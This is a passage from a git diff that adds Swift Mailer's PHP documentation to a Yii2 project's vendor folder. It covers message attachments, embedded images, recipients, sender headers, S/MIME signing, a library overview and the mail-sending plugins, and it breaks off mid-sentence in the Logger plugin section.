$message->attach(Swift_Attachment::fromPath('http://site.tld/logo.png')); + +Setting the Filename +~~~~~~~~~~~~~~~~~~~~ + +Usually you don't need to explicitly set the filename of an attachment because +the name of the attached file will be used by default, but if you want to set +the filename you use the ``setFilename()`` method of the Attachment. + +To change the filename of an attachment: + +* Call its ``setFilename()`` method. + +The attachment will be attached in the normal way, but meta-data sent inside +the email will rename the file to something else. + +.. code-block:: php + + // Create the attachment and call its setFilename() method + $attachment = Swift_Attachment::fromPath('/path/to/image.jpg') + ->setFilename('cool.jpg'); + + + // Because there's a fluid interface, you can do this in one statement + $message->attach( + Swift_Attachment::fromPath('/path/to/image.jpg')->setFilename('cool.jpg') + ); + +Attaching Dynamic Content +~~~~~~~~~~~~~~~~~~~~~~~~~ + +Files that are generated at runtime, such as PDF documents or images created +via GD can be attached directly to a message without writing them out to disk. +Use the standard ``Swift_Attachment::newInstance()`` method. + +To attach dynamically created content: + +* Create your content as you normally would. + +* Create an attachment with ``Swift_Attachment::newInstance()``, specifying + the source data of your content along with a name and the content-type. + +* Add the attachment to the message with ``attach()``. + +The attachment will be presented to the recipient as a downloadable file +with the filename and content-type you specify. + +.. note:: + + If you would usually write the file to disk anyway you should just attach + it with ``Swift_Attachment::fromPath()`` since this will use less memory: + + .. code-block:: php + + // Create your file contents in the normal way, but don't write them to disk + $data = create_my_pdf_data(); + + // Create the attachment with your data + $attachment = Swift_Attachment::newInstance($data, 'my-file.pdf', 'application/pdf'); + + // Attach it to the message + $message->attach($attachment); + + + // You can alternatively use method chaining to build the attachment + $attachment = Swift_Attachment::newInstance() + ->setFilename('my-file.pdf') + ->setContentType('application/pdf') + ->setBody($data) + ; + +Changing the Disposition +~~~~~~~~~~~~~~~~~~~~~~~~ + +Attachments just appear as files that can be saved to the Desktop if desired. +You can make attachment appear inline where possible by using the +``setDisposition()`` method of an attachment. + +To make an attachment appear inline: + +* Call its ``setDisposition()`` method. + +The attachment will be displayed within the email viewing window if the mail +client knows how to display it. + +.. note:: + + If you try to create an inline attachment for a non-displayable file type + such as a ZIP file, the mail client should just present the attachment as + normal: + + .. code-block:: php + + // Create the attachment and call its setDisposition() method + $attachment = Swift_Attachment::fromPath('/path/to/image.jpg') + ->setDisposition('inline'); + + + // Because there's a fluid interface, you can do this in one statement + $message->attach( + Swift_Attachment::fromPath('/path/to/image.jpg')->setDisposition('inline') + ); + +Embedding Inline Media Files +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Often people want to include an image or other content inline with a HTML +message. It's easy to do this with HTML linking to remote resources, but this +approach is usually blocked by mail clients. Swift Mailer allows you to embed +your media directly into the message. + +Mail clients usually block downloads from remote resources because this +technique was often abused as a mean of tracking who opened an email. If +you're sending a HTML email and you want to include an image in the message +another approach you can take is to embed the image directly. + +Swift Mailer makes embedding files into messages extremely streamlined. You +embed a file by calling the ``embed()`` method of the message, +which returns a value you can use in a ``src`` or +``href`` attribute in your HTML. + +Just like with attachments, it's possible to embed dynamically generated +content without having an existing file available. + +The embedded files are sent in the email as a special type of attachment that +has a unique ID used to reference them within your HTML attributes. On mail +clients that do not support embedded files they may appear as attachments. + +Although this is commonly done for images, in theory it will work for any +displayable (or playable) media type. Support for other media types (such as +video) is dependent on the mail client however. + +Embedding Existing Files +........................ + +Files that already exist, either on disk or at a URL can be embedded in a +message with just one line of code, using ``Swift_EmbeddedFile::fromPath()``. + +You can embed files that exist locally, or if your PHP installation has +``allow_url_fopen`` turned on you can embed files from other websites. + +To embed an existing file: + +* Create a message object with ``Swift_Message::newInstance()``. + +* Set the body as HTML, and embed a file at the correct point in the message with ``embed()``. + +The file will be displayed with the message inline with the HTML wherever its ID +is used as a ``src`` attribute. + +.. note:: + + ``Swift_Image`` and ``Swift_EmbeddedFile`` are just aliases of one + another. ``Swift_Image`` exists for semantic purposes. + +.. note:: + + You can embed files in two stages if you prefer. Just capture the return + value of ``embed()`` in a variable and use that as the ``src`` attribute. + + .. code-block:: php + + // Create the message + $message = Swift_Message::newInstance('My subject'); + + // Set the body + $message->setBody( + '' . + ' ' . + ' ' . + ' Here is an image Image' . + ' Rest of message' . + ' ' . + '', + 'text/html' // Mark the content-type as HTML + ); + + // You can embed files from a URL if allow_url_fopen is on in php.ini + $message->setBody( + '' . + ' ' . + ' ' . + ' Here is an image Image' . + ' Rest of message' . + ' ' . + '', + 'text/html' + ); + + + // If placing the embed() code inline becomes cumbersome + // it's easy to do this in two steps + $cid = $message->embed(Swift_Image::fromPath('image.png')); + + $message->setBody( + '' . + ' ' . + ' ' . + ' Here is an image Image' . + ' Rest of message' . + ' ' . + '', + 'text/html' // Mark the content-type as HTML + ); + +Embedding Dynamic Content +......................... + +Images that are generated at runtime, such as images created via GD can be +embedded directly to a message without writing them out to disk. Use the +standard ``Swift_Image::newInstance()`` method. + +To embed dynamically created content: + +* Create a message object with ``Swift_Message::newInstance()``. + +* Set the body as HTML, and embed a file at the correct point in the message + with ``embed()``. You will need to specify a filename and a content-type. + +The file will be displayed with the message inline with the HTML wherever its ID +is used as a ``src`` attribute. + +.. note:: + + ``Swift_Image`` and ``Swift_EmbeddedFile`` are just aliases of one + another. ``Swift_Image`` exists for semantic purposes. + +.. note:: + + You can embed files in two stages if you prefer. Just capture the return + value of ``embed()`` in a variable and use that as the ``src`` attribute. + + .. code-block:: php + + // Create your file contents in the normal way, but don't write them to disk + $img_data = create_my_image_data(); + + // Create the message + $message = Swift_Message::newInstance('My subject'); + + // Set the body + $message->setBody( + '' . + ' ' . + ' ' . + ' Here is an image Image' . + ' Rest of message' . + ' ' . + '', + 'text/html' // Mark the content-type as HTML + ); + + + // If placing the embed() code inline becomes cumbersome + // it's easy to do this in two steps + $cid = $message->embed(Swift_Image::newInstance($img_data, 'image.jpg', 'image/jpeg')); + + $message->setBody( + '' . + ' ' . + ' ' . + ' Here is an image Image' . + ' Rest of message' . + ' ' . + '', + 'text/html' // Mark the content-type as HTML + ); + +Adding Recipients to Your Message +--------------------------------- + +Recipients are specified within the message itself via ``setTo()``, ``setCc()`` +and ``setBcc()``. Swift Mailer reads these recipients from the message when it +gets sent so that it knows where to send the message to. + +Message recipients are one of three types: + +* ``To:`` recipients -- the primary recipients (required) + +* ``Cc:`` recipients -- receive a copy of the message (optional) + +* ``Bcc:`` recipients -- hidden from other recipients (optional) + +Each type can contain one, or several addresses. It's possible to list only +the addresses of the recipients, or you can personalize the address by +providing the real name of the recipient. + +Make sure to add only valid email addresses as recipients. If you try to add an +invalid email address with ``setTo()``, ``setCc()`` or ``setBcc()``, Swift +Mailer will throw a ``Swift_RfcComplianceException``. + +If you add recipients automatically based on a data source that may contain +invalid email addresses, you can prevent possible exceptions by validating the +addresses using ``Swift_Validate::email($email)`` and only adding addresses +that validate. Another way would be to wrap your ``setTo()``, ``setCc()`` and +``setBcc()`` calls in a try-catch block and handle the +``Swift_RfcComplianceException`` in the catch block. + +.. sidebar:: Syntax for Addresses + + If you only wish to refer to a single email address (for example your + ``From:`` address) then you can just use a string. + + .. code-block:: php + + $message->setFrom('some@address.tld'); + + If you want to include a name then you must use an associative array. + + .. code-block:: php + + $message->setFrom(array('some@address.tld' => 'The Name')); + + If you want to include multiple addresses then you must use an array. + + .. code-block:: php + + $message->setTo(array('some@address.tld', 'other@address.tld')); + + You can mix personalized (addresses with a name) and non-personalized + addresses in the same list by mixing the use of associative and + non-associative array syntax. + + .. code-block:: php + + $message->setTo(array( + 'recipient-with-name@example.org' => 'Recipient Name One', + 'no-name@example.org', // Note that this is not a key-value pair + 'named-recipient@example.org' => 'Recipient Name Two' + )); + +Setting ``To:`` Recipients +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +``To:`` recipients are required in a message and are set with the +``setTo()`` or ``addTo()`` methods of the message. + +To set ``To:`` recipients, create the message object using either +``new Swift_Message( ... )`` or ``Swift_Message::newInstance( ... )``, +then call the ``setTo()`` method with a complete array of addresses, or use the +``addTo()`` method to iteratively add recipients. + +The ``setTo()`` method accepts input in various formats as described earlier in +this chapter. The ``addTo()`` method takes either one or two parameters. The +first being the email address and the second optional parameter being the name +of the recipient. + +``To:`` recipients are visible in the message headers and will be +seen by the other recipients. + +.. note:: + + Multiple calls to ``setTo()`` will not add new recipients -- each + call overrides the previous calls. If you want to iteratively add + recipients, use the ``addTo()`` method. + + .. code-block:: php + + // Using setTo() to set all recipients in one go + $message->setTo(array( + 'person1@example.org', + 'person2@otherdomain.org' => 'Person 2 Name', + 'person3@example.org', + 'person4@example.org', + 'person5@example.org' => 'Person 5 Name' + )); + + // Using addTo() to add recipients iteratively + $message->addTo('person1@example.org'); + $message->addTo('person2@example.org', 'Person 2 Name'); + +Setting ``Cc:`` Recipients +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +``Cc:`` recipients are set with the ``setCc()`` or ``addCc()`` methods of the +message. + +To set ``Cc:`` recipients, create the message object using either +``new Swift_Message( ... )`` or ``Swift_Message::newInstance( ... )``, then call +the ``setCc()`` method with a complete array of addresses, or use the +``addCc()`` method to iteratively add recipients. + +The ``setCc()`` method accepts input in various formats as described earlier in +this chapter. The ``addCc()`` method takes either one or two parameters. The +first being the email address and the second optional parameter being the name +of the recipient. + +``Cc:`` recipients are visible in the message headers and will be +seen by the other recipients. + +.. note:: + + Multiple calls to ``setCc()`` will not add new recipients -- each + call overrides the previous calls. If you want to iteratively add Cc: + recipients, use the ``addCc()`` method. + + .. code-block:: php + + // Using setCc() to set all recipients in one go + $message->setCc(array( + 'person1@example.org', + 'person2@otherdomain.org' => 'Person 2 Name', + 'person3@example.org', + 'person4@example.org', + 'person5@example.org' => 'Person 5 Name' + )); + + // Using addCc() to add recipients iteratively + $message->addCc('person1@example.org'); + $message->addCc('person2@example.org', 'Person 2 Name'); + +Setting ``Bcc:`` Recipients +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +``Bcc:`` recipients receive a copy of the message without anybody else knowing +it, and are set with the ``setBcc()`` or ``addBcc()`` methods of the message. + +To set ``Bcc:`` recipients, create the message object using either ``new +Swift_Message( ... )`` or ``Swift_Message::newInstance( ... )``, then call the +``setBcc()`` method with a complete array of addresses, or use +the ``addBcc()`` method to iteratively add recipients. + +The ``setBcc()`` method accepts input in various formats as described earlier in +this chapter. The ``addBcc()`` method takes either one or two parameters. The +first being the email address and the second optional parameter being the name +of the recipient. + +Only the individual ``Bcc:`` recipient will see their address in the message +headers. Other recipients (including other ``Bcc:`` recipients) will not see the +address. + +.. note:: + + Multiple calls to ``setBcc()`` will not add new recipients -- each + call overrides the previous calls. If you want to iteratively add Bcc: + recipients, use the ``addBcc()`` method. + + .. code-block:: php + + // Using setBcc() to set all recipients in one go + $message->setBcc(array( + 'person1@example.org', + 'person2@otherdomain.org' => 'Person 2 Name', + 'person3@example.org', + 'person4@example.org', + 'person5@example.org' => 'Person 5 Name' + )); + + // Using addBcc() to add recipients iteratively + $message->addBcc('person1@example.org'); + $message->addBcc('person2@example.org', 'Person 2 Name'); + +Specifying Sender Details +------------------------- + +An email must include information about who sent it. Usually this is managed +by the ``From:`` address, however there are other options. + +The sender information is contained in three possible places: + +* ``From:`` -- the address(es) of who wrote the message (required) + +* ``Sender:`` -- the address of the single person who sent the message + (optional) + +* ``Return-Path:`` -- the address where bounces should go to (optional) + +You must always include a ``From:`` address by using ``setFrom()`` on the +message. Swift Mailer will use this as the default ``Return-Path:`` unless +otherwise specified. + +The ``Sender:`` address exists because the person who actually sent the email +may not be the person who wrote the email. It has a higher precedence than the +``From:`` address and will be used as the ``Return-Path:`` unless otherwise +specified. + +Setting the ``From:`` Address +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A ``From:`` address is required and is set with the ``setFrom()`` method of the +message. ``From:`` addresses specify who actually wrote the email, and usually who sent it. + +What most people probably don't realise is that you can have more than one +``From:`` address if more than one person wrote the email -- for example if an +email was put together by a committee. + +To set the ``From:`` address(es): + +* Call the ``setFrom()`` method on the Message. + +The ``From:`` address(es) are visible in the message headers and +will be seen by the recipients. + +.. note:: + + If you set multiple ``From:`` addresses then you absolutely must set a + ``Sender:`` address to indicate who physically sent the message. + + .. code-block:: php + + // Set a single From: address + $message->setFrom('your@address.tld'); + + // Set a From: address including a name + $message->setFrom(array('your@address.tld' => 'Your Name')); + + // Set multiple From: addresses if multiple people wrote the email + $message->setFrom(array( + 'person1@example.org' => 'Sender One', + 'person2@example.org' => 'Sender Two' + )); + +Setting the ``Sender:`` Address +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A ``Sender:`` address specifies who sent the message and is set with the +``setSender()`` method of the message. + +To set the ``Sender:`` address: + +* Call the ``setSender()`` method on the Message. + +The ``Sender:`` address is visible in the message headers and will be seen by +the recipients. + +This address will be used as the ``Return-Path:`` unless otherwise specified. + +.. note:: + + If you set multiple ``From:`` addresses then you absolutely must set a + ``Sender:`` address to indicate who physically sent the message. + +You must not set more than one sender address on a message because it's not +possible for more than one person to send a single message. + +.. code-block:: php + + $message->setSender('your@address.tld'); + +Setting the ``Return-Path:`` (Bounce) Address +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The ``Return-Path:`` address specifies where bounce notifications should +be sent and is set with the ``setReturnPath()`` method of the message. + +You can only have one ``Return-Path:`` and it must not include +a personal name. + +To set the ``Return-Path:`` address: + +* Call the ``setReturnPath()`` method on the Message. + +Bounce notifications will be sent to this address. + +.. code-block:: php + + $message->setReturnPath('bounces@address.tld'); + + +Signed/Encrypted Message +------------------------ + +To increase the integrity/security of a message it is possible to sign and/or +encrypt an message using one or multiple signers. + +S/MIME +~~~~~~ + +S/MIME can sign and/or encrypt a message using the OpenSSL extension. + +When signing a message, the signer creates a signature of the entire content of the message (including attachments). + +The certificate and private key must be PEM encoded, and can be either created using for example OpenSSL or +obtained at an official Certificate Authority (CA). + +**The recipient must have the CA certificate in the list of trusted issuers in order to verify the signature.** + +**Make sure the certificate supports emailProtection.** + +When using OpenSSL this can done by the including the *-addtrust emailProtection* parameter when creating the certificate. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $smimeSigner = Swift_Signers_SMimeSigner::newInstance(); + $smimeSigner->setSignCertificate('/path/to/certificate.pem', '/path/to/private-key.pem'); + $message->attachSigner($smimeSigner); + +When the private key is secured using a passphrase use the following instead. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $smimeSigner = Swift_Signers_SMimeSigner::newInstance(); + $smimeSigner->setSignCertificate('/path/to/certificate.pem', array('/path/to/private-key.pem', 'passphrase')); + $message->attachSigner($smimeSigner); + +By default the signature is added as attachment, +making the message still readable for mailing agents not supporting signed messages. + +Storing the message as binary is also possible but not recommended. + +.. code-block:: php + + $smimeSigner->setSignCertificate('/path/to/certificate.pem', '/path/to/private-key.pem', PKCS7_BINARY); + +When encrypting the message (also known as enveloping), the entire message (including attachments) +is encrypted using a certificate, and the recipient can then decrypt the message using corresponding private key. + +Encrypting ensures nobody can read the contents of the message without the private key. + +Normally the recipient provides a certificate for encrypting and keeping the decryption key private. + +Using both signing and encrypting is also possible. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $smimeSigner = Swift_Signers_SMimeSigner::newInstance(); + $smimeSigner->setSignCertificate('/path/to/sign-certificate.pem', '/path/to/private-key.pem'); + $smimeSigner->setEncryptCertificate('/path/to/encrypt-certificate.pem'); + $message->attachSigner($smimeSigner); + +The used encryption cipher can be set as the second parameter of setEncryptCertificate() + +See http://php.net/manual/openssl.ciphers for a list of supported ciphers. + +By default the message is first signed and then encrypted, this can be changed by adding. + +.. code-block:: php + + $smimeSigner->setSignThenEncrypt(false); + +**Changing this is not recommended as most mail agents don't support this none-standard way.** + +Only when having trouble with sign then encrypt method, this should be changed. + +Requesting a Read Receipt +------------------------- + +It is possible to request a read-receipt to be sent to an address when the +email is opened. To request a read receipt set the address with +``setReadReceiptTo()``. + +To request a read receipt: + +* Set the address you want the receipt to be sent to with the + ``setReadReceiptTo()`` method on the Message. + +When the email is opened, if the mail client supports it a notification will be sent to this address. + +.. note:: + + Read receipts won't work for the majority of recipients since many mail + clients auto-disable them. Those clients that will send a read receipt + will make the user aware that one has been requested. + + .. code-block:: php + + $message->setReadReceiptTo('your@address.tld'); + +Setting the Character Set +------------------------- + +The character set of the message (and it's MIME parts) is set with the +``setCharset()`` method. You can also change the global default of UTF-8 by +working with the ``Swift_Preferences`` class. + +Swift Mailer will default to the UTF-8 character set unless otherwise +overridden. UTF-8 will work in most instances since it includes all of the +standard US keyboard characters in addition to most international characters. + +It is absolutely vital however that you know what character set your message +(or it's MIME parts) are written in otherwise your message may be received +completely garbled. + +There are two places in Swift Mailer where you can change the character set: + +* In the ``Swift_Preferences`` class + +* On each individual message and/or MIME part + +To set the character set of your Message: + +* Change the global UTF-8 setting by calling + ``Swift_Preferences::setCharset()``; or + +* Call the ``setCharset()`` method on the message or the MIME part. + + .. code-block:: php + + // Approach 1: Change the global setting (suggested) + Swift_Preferences::getInstance()->setCharset('iso-8859-2'); + + // Approach 2: Call the setCharset() method of the message + $message = Swift_Message::newInstance() + ->setCharset('iso-8859-2'); + + // Approach 3: Specify the charset when setting the body + $message->setBody('My body', 'text/html', 'iso-8859-2'); + + // Approach 4: Specify the charset for each part added + $message->addPart('My part', 'text/plain', 'iso-8859-2'); + +Setting the Line Length +----------------------- + +The length of lines in a message can be changed by using the ``setMaxLineLength()`` method on the message. It should be kept to less than +1000 characters. + +Swift Mailer defaults to using 78 characters per line in a message. This is +done for historical reasons and so that the message can be easily viewed in +plain-text terminals. + +To change the maximum length of lines in your Message: + +* Call the ``setMaxLineLength()`` method on the Message. + +Lines that are longer than the line length specified will be wrapped between +words. + +.. note:: + + You should never set a maximum length longer than 1000 characters + according to RFC 2822. Doing so could have unspecified side-effects such + as truncating parts of your message when it is transported between SMTP + servers. + + .. code-block:: php + + $message->setMaxLineLength(1000); + +Setting the Message Priority +---------------------------- + +You can change the priority of the message with ``setPriority()``. Setting the +priority will not change the way your email is sent -- it is purely an +indicative setting for the recipient. + +The priority of a message is an indication to the recipient what significance +it has. Swift Mailer allows you to set the priority by calling the ``setPriority`` method. This method takes an integer value between 1 and 5: + +* Highest +* High +* Normal +* Low +* Lowest + +To set the message priority: + +* Set the priority as an integer between 1 and 5 with the ``setPriority()`` + method on the Message. + +.. code-block:: php + + // Indicate "High" priority + $message->setPriority(2); diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/overview.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/overview.rst new file mode 100644 index 00000000..c9126173 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/overview.rst @@ -0,0 +1,161 @@ +Library Overview +================ + +Most features (and more) of your every day mail client software are provided +by Swift Mailer, using object-oriented PHP code as the interface. + +In this chapter we will take a short tour of the various components, which put +together form the Swift Mailer library as a whole. You will learn key +terminology used throughout the rest of this book and you will gain a little +understanding of the classes you will work with as you integrate Swift Mailer +into your application. + +This chapter is intended to prepare you for the information contained in the +subsequent chapters of this book. You may choose to skip this chapter if you +are fairly technically minded, though it is likely to save you some time in +the long run if you at least read between the lines here. + +System Requirements +------------------- + +The basic requirements to operate Swift Mailer are extremely minimal and +easily achieved. Historically, Swift Mailer has supported both PHP 4 and PHP 5 +by following a parallel development workflow. Now in it's fourth major +version, and Swift Mailer operates on servers running PHP 5.2 or higher. + +The library aims to work with as many PHP 5 projects as possible: + +* PHP 5.2 or higher, with the SPL extension (standard) + +* Limited network access to connect to remote SMTP servers + +* 8 MB or more memory limit (Swift Mailer uses around 2 MB) + +Component Breakdown +------------------- + +Swift Mailer is made up of many classes. Each of these classes can be grouped +into a general "component" group which describes the task it is designed to +perform. + +We'll take a brief look at the components which form Swift Mailer in this +section of the book. + +The Mailer +~~~~~~~~~~ + +The mailer class, ``Swift_Mailer`` is the central class in the library where +all of the other components meet one another. ``Swift_Mailer`` acts as a sort +of message dispatcher, communicating with the underlying Transport to deliver +your Message to all intended recipients. + +If you were to dig around in the source code for Swift Mailer you'd notice +that ``Swift_Mailer`` itself is pretty bare. It delegates to other objects for +most tasks and in theory, if you knew the internals of Swift Mailer well you +could by-pass this class entirely. We wouldn't advise doing such a thing +however -- there are reasons this class exists: + +* for consistency, regardless of the Transport used + +* to provide abstraction from the internals in the event internal API changes + are made + +* to provide convenience wrappers around aspects of the internal API + +An instance of ``Swift_Mailer`` is created by the developer before sending any +Messages. + +Transports +~~~~~~~~~~ + +Transports are the classes in Swift Mailer that are responsible for +communicating with a service in order to deliver a Message. There are several +types of Transport in Swift Mailer, all of which implement the Swift_Transport +interface and offer underlying start(), stop() and send() methods. + +Typically you will not need to know how a Transport works under-the-surface, +you will only need to know how to create an instance of one, and which one to +use for your environment. + ++---------------------------------+---------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+ +| Class | Features | Pros/cons | ++=================================+=============================================================================================+===============================================================================================================================================+ +| ``Swift_SmtpTransport`` | Sends messages over SMTP; Supports Authentication; Supports Encryption | Very portable; Pleasingly predictable results; Provides good feedback | ++---------------------------------+---------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+ +| ``Swift_SendmailTransport`` | Communicates with a locally installed ``sendmail`` executable (Linux/UNIX) | Quick time-to-run; Provides less-accurate feedback than SMTP; Requires ``sendmail`` installation | ++---------------------------------+---------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+ +| ``Swift_MailTransport`` | Uses PHP's built-in ``mail()`` function | Very portable; Potentially unpredictable results; Provides extremely weak feedback | ++---------------------------------+---------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+ +| ``Swift_LoadBalancedTransport`` | Cycles through a collection of the other Transports to manage load-reduction | Provides graceful fallback if one Transport fails (e.g. an SMTP server is down); Keeps the load on remote services down by spreading the work | ++---------------------------------+---------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+ +| ``Swift_FailoverTransport`` | Works in conjunction with a collection of the other Transports to provide high-availability | Provides graceful fallback if one Transport fails (e.g. an SMTP server is down) | ++---------------------------------+---------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+ + +MIME Entities +~~~~~~~~~~~~~ + +Everything that forms part of a Message is called a MIME Entity. All MIME +entities in Swift Mailer share a common set of features. There are various +types of MIME entity that serve different purposes such as Attachments and +MIME parts. + +An e-mail message is made up of several relatively simple entities that are +combined in different ways to achieve different results. All of these entities +have the same fundamental outline but serve a different purpose. The Message +itself can be defined as a MIME entity, an Attachment is a MIME entity, all +MIME parts are MIME entities -- and so on! + +The basic units of each MIME entity -- be it the Message itself, or an +Attachment -- are its Headers and its body: + +.. code-block:: text + + Other-Header: Another value + + The body content itself + +The Headers of a MIME entity, and its body must conform to some strict +standards defined by various RFC documents. Swift Mailer ensures that these +specifications are followed by using various types of object, including +Encoders and different Header types to generate the entity. + +Each MIME component implements the base ``Swift_Mime_MimeEntity`` interface, +which offers methods for retrieving Headers, adding new Headers, changing the +Encoder, updating the body and so on! + +All MIME entities have one Header in common -- the Content-Type Header, +updated with the entity's ``setContentType()`` method. + +Encoders +~~~~~~~~ + +Encoders are used to transform the content of Messages generated in Swift +Mailer into a format that is safe to send across the internet and that +conforms to RFC specifications. + +Generally speaking you will not need to interact with the Encoders in Swift +Mailer -- the correct settings will be handled by the library itself. +However they are probably worth a brief mention in the event that you do want +to play with them. + +Both the Headers and the body of all MIME entities (including the Message +itself) use Encoders to ensure the data they contain can be sent over the +internet without becoming corrupted or misinterpreted. + +There are two types of Encoder: Base64 and Quoted-Printable. + +Plugins +~~~~~~~ + +Plugins exist to extend, or modify the behaviour of Swift Mailer. They respond +to Events that are fired within the Transports during sending. + +There are a number of Plugins provided as part of the base Swift Mailer +package and they all follow a common interface to respond to Events fired +within the library. Interfaces are provided to "listen" to each type of Event +fired and to act as desired when a listened-to Event occurs. + +Although several plugins are provided with Swift Mailer out-of-the-box, the +Events system has been specifically designed to make it easy for experienced +object-oriented developers to write their own plugins in order to achieve +goals that may not be possible with the base library. diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/plugins.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/plugins.rst new file mode 100644 index 00000000..16ae3356 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/plugins.rst @@ -0,0 +1,385 @@ +Plugins +======= + +Plugins are provided with Swift Mailer and can be used to extend the behavior +of the library in situations where using simple class inheritance would be more complex. + +AntiFlood Plugin +---------------- + +Many SMTP servers have limits on the number of messages that may be sent +during any single SMTP connection. The AntiFlood plugin provides a way to stay +within this limit while still managing a large number of emails. + +A typical limit for a single connection is 100 emails. If the server you +connect to imposes such a limit, it expects you to disconnect after that +number of emails has been sent. You could manage this manually within a loop, +but the AntiFlood plugin provides the necessary wrapper code so that you don't +need to worry about this logic. + +Regardless of limits imposed by the server, it's usually a good idea to be +conservative with the resources of the SMTP server. Sending will become +sluggish if the server is being over-used so using the AntiFlood plugin will +not be a bad idea even if no limits exist. + +The AntiFlood plugin's logic is basically to disconnect and the immediately +re-connect with the SMTP server every X number of emails sent, where X is a +number you specify to the plugin. + +You can also specify a time period in seconds that Swift Mailer should pause +for between the disconnect/re-connect process. It's a good idea to pause for a +short time (say 30 seconds every 100 emails) simply to give the SMTP server a +chance to process its queue and recover some resources. + +Using the AntiFlood Plugin +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The AntiFlood Plugin -- like all plugins -- is added with the Mailer class's +``registerPlugin()`` method. It takes two constructor parameters: the number of +emails to pause after, and optionally the number of seconds to pause for. + +To use the AntiFlood plugin: + +* Create an instance of the Mailer using any Transport you choose. + +* Create an instance of the ``Swift_Plugins_AntiFloodPlugin`` class, passing + in one or two constructor parameters. + +* Register the plugin using the Mailer's ``registerPlugin()`` method. + +* Continue using Swift Mailer to send messages as normal. + +When Swift Mailer sends messages it will count the number of messages that +have been sent since the last re-connect. Once the number hits your specified +threshold it will disconnect and re-connect, optionally pausing for a +specified amount of time. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Mailer using any Transport + $mailer = Swift_Mailer::newInstance( + Swift_SmtpTransport::newInstance('smtp.example.org', 25) + ); + + // Use AntiFlood to re-connect after 100 emails + $mailer->registerPlugin(new Swift_Plugins_AntiFloodPlugin(100)); + + // And specify a time in seconds to pause for (30 secs) + $mailer->registerPlugin(new Swift_Plugins_AntiFloodPlugin(100, 30)); + + // Continue sending as normal + for ($lotsOfRecipients as $recipient) { + ... + + $mailer->send( ... ); + } + +Throttler Plugin +---------------- + +If your SMTP server has restrictions in place to limit the rate at which you +send emails, then your code will need to be aware of this rate-limiting. The +Throttler plugin makes Swift Mailer run at a rate-limited speed. + +Many shared hosts don't open their SMTP servers as a free-for-all. Usually +they have policies in place (probably to discourage spammers) that only allow +you to send a fixed number of emails per-hour/day. + +The Throttler plugin supports two modes of rate-limiting and with each, you +will need to do that math to figure out the values you want. The plugin can +limit based on the number of emails per minute, or the number of +bytes-transferred per-minute. + +Using the Throttler Plugin +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The Throttler Plugin -- like all plugins -- is added with the Mailer class' +``registerPlugin()`` method. It has two required constructor parameters that +tell it how to do its rate-limiting. + +To use the Throttler plugin: + +* Create an instance of the Mailer using any Transport you choose. + +* Create an instance of the ``Swift_Plugins_ThrottlerPlugin`` class, passing + the number of emails, or bytes you wish to limit by, along with the mode + you're using. + +* Register the plugin using the Mailer's ``registerPlugin()`` method. + +* Continue using Swift Mailer to send messages as normal. + +When Swift Mailer sends messages it will keep track of the rate at which sending +messages is occurring. If it realises that sending is happening too fast, it +will cause your program to ``sleep()`` for enough time to average out the rate. + +.. code-block:: php + + require_once 'lib/swift_required.php'; + + // Create the Mailer using any Transport + $mailer = Swift_Mailer::newInstance( + Swift_SmtpTransport::newInstance('smtp.example.org', 25) + ); + + // Rate limit to 100 emails per-minute + $mailer->registerPlugin(new Swift_Plugins_ThrottlerPlugin( + 100, Swift_Plugins_ThrottlerPlugin::MESSAGES_PER_MINUTE + )); + + // Rate limit to 10MB per-minute + $mailer->registerPlugin(new Swift_Plugins_ThrottlerPlugin( + 1024 * 1024 * 10, Swift_Plugins_ThrottlerPlugin::BYTES_PER_MINUTE + )); + + // Continue sending as normal + for ($lotsOfRecipients as $recipient) { + ... + + $mailer->send( ... ); + } + +Logger Plugin +------------- + +The Logger plugins helps with debugging during the process of sending. It can +help to identify why an SMTP server is rejecting addresses, or any other +hard-to-find problems that may arise. + +The Logger plugin comes in two parts. There's the plugin itself, along with +one of a number of possible Loggers that you may choose to use. For example, +the logger may output messages directly in realtime, or it may capture +messages in an array. + +One other notable feature is the way in which the Logger plugin changes +Exception messages. If Exceptions are being thrown but the error message does +not provide conclusive information as to the source of the problem (such as an +ambiguous SMTP error) the Logger plugin includes the entire SMTP transcript in +the error message so that debugging becomes a simpler task. + +There are a few available Loggers included with Swift Mailer, but writing your +own implementation is incredibly simple and is achieved by creating a short +class that implements the ``Swift_Plugins_Logger`` interface. + +* ``Swift_Plugins_Loggers_ArrayLogger``: Keeps a collection of log messages + inside an array. The array content can be cleared or dumped out to the + screen. + +* ``Swift_Plugins_Loggers_EchoLogger``: Prints output to the screen in + realtime. Handy for very rudimentary debug output. + +Using the Logger Plugin +~~~~~~~~~~~~~~~~~~~~~~~ + +The Logger Plugin -- like all plugins -- is added with the Mailer class' +``registerPlugin()`` method. It accepts an instance of ``Swift_Plugins_Logger`` +in its constructor. + +To use the Logger plugin: + +* Create an instance of the Mailer using any Transport you choose. + +* Create an instance of the a Logger implementation of + ``Swift_Plugins_Logger``. + +* Create an instance of the 